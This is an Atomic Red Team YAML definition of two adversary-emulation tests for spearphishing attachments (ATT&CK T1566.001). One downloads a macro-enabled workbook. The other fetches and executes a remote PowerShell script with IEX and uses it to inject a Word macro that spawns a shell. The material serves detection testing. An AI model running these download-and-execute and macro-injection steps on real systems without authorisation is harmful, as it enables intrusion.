attack_technique: T1566.001
display_name: 'Phishing: Spearphishing Attachment'
atomic_tests:
- name: Download Macro-Enabled Phishing Attachment
  auto_generated_guid: 114ccff9-ae6d-4547-9ead-4cd69f687306
  description: |
    This atomic test downloads a macro enabled document from the Atomic Red Team GitHub repository, simulating an end user clicking a phishing link to download the file.
    The file "PhishingAttachment.xlsm" is downloaded to the %temp% directory.
  supported_platforms:
  - windows
  executor:
    command: |
      $url = 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1566.001/bin/PhishingAttachment.xlsm'
      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
      Invoke-WebRequest -Uri $url -OutFile $env:TEMP\PhishingAttachment.xlsm
    name: powershell
    cleanup_command: |
      Remove-Item $env:TEMP\PhishingAttachment.xlsm -ErrorAction Ignore

- name: Word spawned a command shell and used an IP address in the command line
  auto_generated_guid: cbb6799a-425c-4f83-9194-5447a909d67f
  description: |
    Word spawning a command prompt then running a command with an IP address in the command line is an indiciator of malicious activity.
    Upon execution, CMD will be lauchned and ping 8.8.8.8
  supported_platforms:
  - windows
  input_arguments:
    jse_path:
      description: |
        Path for the macro to write out the "malicious" .jse file
      type: String
      default: C:\Users\Public\art.jse
    ms_product:
      description: Maldoc application Word or Excel
      type: String
      default: Word
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Microsoft #{ms_product} must be installed
    prereq_command: |
      try {
        New-Object -COMObject "#{ms_product}.Application" | Out-Null
        $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
        Stop-Process -Name $process
        exit 0
      } catch { exit 1 }
    get_prereq_command: |
      Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement"
  executor:
    command: |
      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
      IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
      $macrocode = "   Open `"#{jse_path}`" For Output As #1`n   Write #1, `"WScript.Quit`"`n   Close #1`n   Shell`$ `"ping 8.8.8.8`"`n"
      Invoke-MalDoc -macroCode $macrocode -officeProduct "#{ms_product}"
    cleanup_command: |
      Remove-Item #{jse_path} -ErrorAction Ignore
    name: powershell
